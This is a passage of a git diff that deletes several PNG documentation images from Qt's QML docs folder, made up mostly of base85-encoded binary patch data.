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 Mr)8+wqyc^Qe^%>rasU7T diff --git a/src/qml/doc/images/declarative-gridmesh.png b/src/qml/doc/images/declarative-gridmesh.png deleted file mode 100644 index 6007d3b9e3dc62cf940ad3ebb741fad619d81580..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9349 zcmaJ{Wl&we(>}PnLvgnP#l5&oahFSRFHqcF3m3Rp@gl|D-5m05rAqFl|=(n$PN?Z zx^-s10)Yzao0l{Eds*J6{HZLX0RikQU4JksC_t3|qyJx0BpA9rhOmr^h+yIdwK2ek zn6Trb4*OvV1sx|*V1hkS*`rKQ>$szbH;P%%x)b`1QFZw8_0e+7MG3=-=+ z{Q#X&>cOH5LHHN9GI%HAa^LT3iSgjkiMxWss=%djIHzI5k3Yz6hg}KFCp87XWHSR< zXu@W;oU}l3)!Pd$)df+1Lc^G>v^v!4LcMwRt1>lq9%nrXt9lJcGIPzh@648s&fiJx^PJ!rr|Rh5t-bfSeCBce zN==~5#51L;W7zy%Ju_kES2Rutr7IoJ|NJ4NG*&l|+Zma)Xq?-s8APNEI6K;f5H!C?uc{LMpf3NJ$Q z?69UT^YN$ZS3JN3I4Ze07-Ir3f8|iX`Q|2&op};Q@CmxQHi((kRz=$_VKdwE)<$2~ z5m`^_Qq3K#&Iwzh-^N_i+o*mS!`rdhT{(~ZHbivn4*w)*Ko0=DPSDgk(nFtQkjowHB_(eGKa)^DzSdl0>UP``Qpl6N&m94iQ6- z$O>5F+&<$I^|5k=mpA8V)|w;xUSiG(=e5+M22T|%L|Q9Wh9Y4I;~*o8%&4zTxK0Q$ z)BDWqODRWq?S}d&kRE<(7LdR<4u)?Z0PRHC8_2~q{2jynRu|Yc^l+q+fd=Aln;_c@ zNHTe395tE9bNvS$TN^Ki|0|~pqv<~Iqx;qV2cr2u_$aMIJ$QRI3gdRUfei=ycHdsd zkSu=c)Uedzx>Qsu6~uB!qn@k5FX+rzCAS2J>0A1vo#27tX@ATjBnWkKUYii#C!tnb}W z0V`^%nZ}TXuJGuWHcatFRZGkd=411kV@q2Wkvjd5AiRF=$cmAge~aX($Pqf6B?vB8 z777>>WYzNJp=eS}eL)jYA`x{PV~5>~oK+?~?&9;fNd#YaXj%?$qsclW{9cKmLv7zd ziQ3B3v|(H-~KHsn`tC#w-kK4A=!(g+0>e+aO41U;!0AF)?k83KUU{wpOGS?H%rE+ zfsca*z&rJDJD%{-a+Wnj(k+%>p)PoN`szfkgaJtr1w*2eZS#Zp`i)sdH?70gQ7{>hKlCK3ACorl1*9@INwOekWmY_Ln`)SDbuXAEj9tGP&+&pLUEQgdwJr0({_N^3%oIM6UI%(Fk$+tgV zPLACrzR7RQwozm|+=V~n6)XzQpPDeRN?5ZlZE|EsFkHMXUwc+sZmW&m((cB(6i4jY znJHHMNgoPHfzoS%UR9V0qt|;T@DAG8V$#3Zt9WErnixVCMC~nQA>n0dp_ZEaj&YG0 zoZ!>p7Mh$Y1<%wGgJ-g$EWU1qb_~-!=S}V0_FiXLrY6m#if~Qm;KT+RyMSMdp zYx6>mb>;Q^Yfs^5i|GSCwDyA7(uQ3NZe(&%Wvad~qKlD&rQ7hORH1=+GRKfNjCv$v zviZYxf0qudvYGQZ_#remuZV^+5c{isf1vu#r4&E^aSa=rUPe_8tZXE7^PE6n>~*$g z7S+kPavHu~p&p(5&UKA+3!VEmcNd9(1b z+<5IZP2+<}=wrb9(7)#Lssw&Dh zD!2u4+4v18e>hGrRr%9!?c+)d6KoDd4ailExL<@q!ZX5d?Mir$b+YaMVo}QZJPt88 ziaajn6DZT*84|1M=NN;nycUFMV&LEmHCs8>ezn#AGQW@4PR+~jE*{o(Xh)s~TvS+K zN?WTpMkHN&-P485-VucwgJ||3MXUf(vauZroG4m090b082p*yOZY!a+@Zy};dNXJ2 zZ?Pa)_UZ;rk8-UU^^p3NNV)!jRt`QuDEQ&jP4G7?fA3P}V4+azcQgCkTzD+zpn7vO zUY51I{V9RPT^A)as|~)8Mg~y8fv#^93SSLNV{DtZ-T7=Jy{*DR%cU%7luNMT+P@o4 zF~vlr4vKq zaLYW5MM6Q_X@Qh-=cKe^hI7PCJssiB`#$$Knpw58XJj=Q7PGX~EOQu(!lw@+Cvv_@ zdXT_h1ECsb2bZ{{n=h*k-JdO=Jy{k0CQ1G*HKc~|PG3`=gJR4W{t?NDh^(fb!B#fI zTK2lMlS2RKwLH|Su225UXZI0~DaFdFYmjtys zp7v-7YYHWZ(Zu&5ssIj8UR*)Mb&0yruE+a1_e*&E{$;azUA0dTGs7b;n=WdSTiwv4 zez{Dhh?_A0$!AT@BlwlEJb3mT$jwW0I9)J?kfJlqe9j&lQD2wyT*1AJSHE0+Wt1XH zYtJxh@;8p4d8)SMZwIa5vti`V6?j%t4)BKHZ8K@O-j9+sRvCS1oEBAC^tV98x;v>p z%>+hA`~DJ1Vn}ifSU{3Zx5p33cJIX%7tiy_u*#4uidx4uv?Cz^N4PF7RwjOc$cbRYnuIOrjfW z!MHS}$D^sAcuUFfsI_zA1na%h?Z+m%xr^XSnL+_4j?Gpg?X`0-a_CYK%mtI?K)UqB zzn|?+=+DuI82&ZRKJRA`Q{TuqRXr+}QCA_N05=IrG)JSE$zSZB@EA|yf|(N3t5}H> zNlro1?4-d7uSZ(GKC)5(0%%@7HdDFM+NmUX;F|cm znfX@IU^mvj4VjljL0~eoQRlvvtimsAj)-?>l))#_#%%h=p{>Ry6lnHupNdPamL}_8 zT+;S-kQ0m7;3xuvI4k<#;FF=BN~#V&{AdzFuBS<7OOqaGHMK!%VkSxFrhhhD4O{Ou zXCb9W#QMbQrdL_!>>_SgBdfS5QSo1l9;gn(FH9{%9Gh^J;~xreOxq{n?J?M$Wymxt zh+knPv2hY#A-i_TeOB5jK54b}g8mf8p9nvVyU4{A3Kc-V-^%wlGw4G3D@XI8y{lb_ zP9P>Z>O~2p13pm_C~giJuci*n3MkeJC}#2&4&{u{NgP0aQj=0R0+DC`4QVu&!i9yO z5}r;O*#cunlVsvuf@C=~mFqk>fv%dK-;P}Zb8k^mWL&k;)4B!)+||JPF5Y|<7tWbG zpO1hX6=hV96)^%pw4SW)Sh(ptH6vHUZk6V|I8!RGr3>NsN#mTyQnY|`4jY;ypX(;o z6!da-d#YuvYHd_RSr?(BE*adu8?Eh6^ZLBONtU9mWW~W{q)n{*=J|4LN}2SJg}Rz% zS=XAFT-~;ptX@^k-RbMex8s3P#kGZ--r2RK<_qt}*PX5k$=C01!h$B8rMB4-YS9zJ=xx}evp4!IrdWXphU9_&E?e;DHKQ~g@4;~Al1FFiUUsG!FfrGv^+#_7y zzC{~MexZ_e(3*OUrN=ayBezN2FB9wDE^RM8cVrb(2nIIS=$CqwYUQKj$Az&+X!UYYs&K;V-fn}#&e)fD4wDSiiI!y#MB24e&qlQ3I_49)H}cML*HDSuE1^qw0us z^D_!Bq;}%$;_c#8*Ks`sXOKq_=#jo4rG(Tg_N|j$$NZGHu+UA!vPETzo)YOkzzP$5 z3c^|CY#8R0DmE(d5lOKC?-qEN+b=_?LG@odQxG^3w*?c3KMQ5pD}#=SZSOfGf27wxf$+XNXn+ z0ck~u^yIFWnU2+oaAIFZK@lr#1wJo*1SUknGqTa?##28e{=?h^JX%remw9@=aA;D- z4#$MthELwCRC6(AqhM~qJo@t*)Hjcr+)uoH&Om@DxleaK@u~Pa?r-9FBCS$Xxjotm zg0(FXlJ8u=XC=S1yuh2se$m1Tgi59tzA=gQtLhmHgQq_WM01~2X=O`IxL{v>Y797V z6NGlvCDiEbd%X051LJm4u(F??NRrj}f0B!&Zf1PsDQB6|qy&v)&n0vJBWfoy2AiIF zE92P{ig+CK`P~TCN?xLQeJE(S z@~)dj!+VfH>yN6z)x~(@;63T8aK@B69y)_P$+68*XHJQi7OiicJfBr(qZ^CfK+Xm( z@0EcQsmcXurSUU=YGc=){x?%nPp{NI zNgF3~a@P<_ipCeV(%|(}u-|>MV;u5;>SJ{Gx-4jx+`o2*L61DmRPzU@>fC9EO3?$W zBricst$)?zj}G58eh)XyKgKSQ&sKV=EW9*wYt}BhnyVP2$Cu&sZ`ympnM9&hN4^a-{1oYWknO9(+^&3OG3 zjn~39e?<6oXBKLQ$QYk!mG15Fz+EFUnO!u2LLSIbsLI+pck}YJJxBEjH(t3JXYk!d;>Urt#?#{l&M)Qa6-jKG3%>#Z;x1X6{e^+T zX6oVIyo}q2d`ov~)9$%W7A}9nF{`Jc8+qPuo~E(1ZQ(N2JBP%ifGg@<^9vFwPJiSm zdK5Mgz%4dXf7Kh_6N-q0x~AnWHKvJiraGC8KLFWOG|>#hL;?J+0v(l}Jt}%D34duO z#G_Y+q2G~)7M zgVs)*BXaUrzIck4wHh^aAWQhMBx;ayqf8YHmBZ2~DVG`=ly}#DB?1hAn(piOG@kQP zmPMh{poPp^BE_RhsaE>mU#(fPJ6n0^tRz>}SZ)l&MTuq$XnQU9`g&^w1Zq z#)?(^wXWo{_{cA2wz8cc>LYZV%*P*RX-D7pcXP90puodi1o&~fR#efo)WBXBnnVE} z5VxKR^T{+5x%=VR%(;8`j(6IVw^`ck095EKIkv0w6XVQ#=XsJ5F}?Y+3Fv^ewyg8P z3a(0ZN{ALC*0-y55lY%exc+L`)CZ(|(%nC1cYWAu65>s_4D(@LQ4WRIj9xv5Sk{SdMf{(K ze$e?nXZtfAhfvCmfoP!C?~p*Nuv$EBWXyitPw-8Vk&`xdY4E7u*V zFg?k#x-dE0=fAKx^j!*3VtUJSmM~pwKROCMaMIT|dHchQLSV!C=l3oUHH(B~I;1kQCT)&I^1wtcEL+*oS~};X zuoxHG4`)w}G%}E4wn`&WMq!)(fI>CZeEV*!GRN)4U9V1s)!CT8$vIMBBkdD}d8z$->KsgP&?aw!3AX zTk`OG{0e~{Qvtl)Ko;ujqg}xc-F5f+U<*e*rb_BU*LJUC7rU}Dbt;4oZ0NBV$4%J$ zCY#d+&jM-DF|_zn@oO15nAslY6bWfJ=cWD{HPxWx^uc!(g_ZHhPG38RR6$LYEsCSB zaiXQy=fMj8@BW?bqTuK>!^%t0pc>~hYVaXw0`DBX3D?RJl($(Cwn7OoH1uH~C7BuD zca0sGeZv1ehA>*IEg=mvc|8BL)xL!i6g4qTGM5IdpRW1yzpBNWzdzo|Frjj~e#J{L zAG;WT80W9dfuOv`9ljq3yBs1_r@m%`AF~OKL&D9RJ`8^6J&ArhRXduCB!41>25{5! z)p7-3e9gZ5#suEaG|CsHlk5GqwAEtnjxWgQ+ttg8Qtx-A{;n+l+LT_=?rkXk3j(F9EveQu){>O)8>1jfeuWg%SDxEDj$l`DSph17>r&H z7@4-hIyXxe41K<@?1Pv)ePHvn6e96v#n*(x6Vx{PVVbHox+}o7&hzX0kC9(5T{LY?##Px_vW>mIz!ipL8CGpUvIO7h1;bvj>-;wPfPK#nhiOa&o6zs-G)uBcwHbxgVlmQY0R zh9gvt2>jKHKQ}i>``2+c1i&dxGs_>+WhH$5l0+S*R~c++4F_sp;mq1NS>5?T0W#-v zFu=O7W;{*oDB(Z>ykx){&7RHXK4}p&RfKQ&fNS#rFT@&WPfEORgyGq#jzYyF){%-G zU=3z_k_LMvB0LQgdE--?|B+_BK?JQ|6i&wYw)xK{M(ChG8@KU*y|-@ik?EcX-M7&_ zr2n2#jBefPT9dgrRM{R=lV6Iuu6yZ{-F0u4+<0PEe?s1953fOWFfJo7n#6*QI}rdo zsXs@Ej_{Q-noeFfptXe4$O$cW?jbnJB$qz-99rVQHeN^TIk^5Yi9f?2#a#U)BlKKv$$vz)b`UDK`VZFP#gnSS{Zj)9)3 zg*g4V-|+9U(tybS_47#N5|oJuBv_)aWt(@+t4PteD)?$nwD5ka{ z;57Dk5TY@iZzlicA>pmH0!=<0s$3>v?2Qh1g(dAw-QE;Bp1qzd$jH}Mok{vw9jIVd z<8x^(QCssr`}BaE&HnfkN(0bTT2c20_Qp^FnBmfPgSZ=Rdp-a2{#+HqX{Db9t9zlLo1RRi4pbHRwV+>)LUuZTyi7cZ^DOyii z(zq7m%8Jmzx_-W91w14f#ZiDP{x(6Mt}kJ~8b@NV6(V$IV1)BS|McLzyUATfO~ybX z>AVq`cZd*pcih9qobITJHJ=hEm)^~aMoD91G3$kDazl5KC#jKc+&AU4O55|>qkj-1nZx8)XT0iIMsh_CQ! ztyKhObzzVu?I?wV(&NBrP49Br(oY$)rM0ztTw*TCGL4H&Q7LPQ^ghw2y-MZ=MGgo& z77En%;N*bJAEDa;PD&0Qb$e+Dv1DJmrq69*+ggXa@z^k1nIC>ED%IRJX2f>^Cze(6 zi1Jt*;|RQWRU&y}+y(m9^W8cnVL~IgUxwy2bHzUQrCTJWY32VXAa}UW5Wpwrt@k$7 z?ox6|GU+r~$EXo!dNX%;s+c}MOqM@Je@P4;K#(gt2#NbdsYMAg#P)L?_3zJq7P>Ti zZ&97LALFO+GUX)oa9inMR)55!n>b%nk%3F{vp%`{ucr`-WJFs!mLN0Tdu55=o@yN6cyqz~9Rn0O~aGiIFAWf4tK4;Xv$N z7|cS*0s`=wd2@2#=k6EJ7Yh&dZXhgMk@eWEk6eg}(8w8bNPCYnc6VX;4}uH!E}sk(;Vkfo zEM{Qfw*q1z##1S!89+hy5>H=O_8VM$9Qpz?^OOz(g=9-yBTAg}b8}PkN*J7rQWHy3 zQxwWGOEMHfGEx=XJ$(b-r>N#JFff{Ux;TbZ+FdgVgNu)omo@0{D_fwDY>8_`iF1B#Zfaf$gL6@8Vo7R> zLV0FMhC)b2s)DF!Z?9bBZ7|?)IGAa}*> zW~g|$!ZQ1V>`dKb7O_H!iaITU-vSZLW8i__|e?ZD3?*5VmD$K-Ccg?t_=GsDcQU|z<_4(boFyt=akR{ E0ELW>YybcN diff --git a/src/qml/doc/images/declarative-item_stacking1.png b/src/qml/doc/images/declarative-item_stacking1.png deleted file mode 100644 index 18f41484e54e8dbb60e2d19aa0d923e61df3272e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 460 zcmeAS@N?(olHy`uVBq!ia0vp^(?FPm4M^HB7Cr(}Y)RhkE)4%caKYZ?lYt_f1s;*b z3=I5MKrF;~Dy1|7D9B#o>FdgVgNu(tL*c`>mQ_F@*%H@?66gHf+|;}h2Ir#G#FEq$ zh4Rdj426)4R0VfW-+=cis(B0yj0T=Ajv*Dd-rhaP%b>u)U}*4WztOq}{>^XMTDapk zDO**zpN}}c$+M+(gMb(ZccP+>fY>3Y2n8LWfI|dOpb;p3hzTg(!U`1U;3it3-<2tj yMW+_uDA`DwImEc&hllHLpRR7IySe44sx*%&hmQ2!z&F4^X7F_Nb6Mw<&;$TySd7I0 diff --git a/src/qml/doc/images/declarative-item_stacking2.png b/src/qml/doc/images/declarative-item_stacking2.png deleted file mode 100644 index 7a71bcd36dfbcf57c74010c81c8ad3cb275ab269..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 461 zcmeAS@N?(olHy`uVBq!ia0vp^(?FPm4M^HB7Cr(}Y)RhkE)4%caKYZ?lYt_f1s;*b z3=I5MKrF;~Dy1|7D9B#o>FdgVgNu(tL*m948xx?AY>8_`iF1B#Zfaf$gL6@8Vo7R> zLV0FMhC)b2s)DF!Z|@%DWl-Q?aWwdL|I^JT|7K%Z1?hcd ztAh3@8(-U)Bb2D9)53blDT0H$rFDaV7zZ~{KtK#Apr8X3Z~%%YHUh;DF%henc6VX;4}uH!E}sk(;Vkfo zEM{Qfw*q1z##1S!89+hy5>H=O_8VM$9Qpz?^OOz(g=9-yBTAg}b8}PkN*J7rQWHy3 zQxwWGOEMHfGEx=XJ$(b-r>N#JFff{Ux;TbZ+nc6VX;4}uH!E}sk(;Vkfo zEM{Qfw*q1z##1S!89+hy5>H=O_8VM$90tN?ZEK$bg=9-yBTAg}b8}PkN*J7rQWHy3 zQxwWGOEMHfGEx=XJ$(b-r>N#JFfbZ>x;TbZ+lR<-@M# zy{~Ll&>hA4HAy#A7CD7%z1X7F_Nb6Mw<&;$TDj*zJU diff --git a/src/qml/doc/images/declarative-largearc.png b/src/qml/doc/images/declarative-largearc.png deleted file mode 100644 index 9bb94b362ee5388e4d5859ae94592a1aa7ea5e75..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8340 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 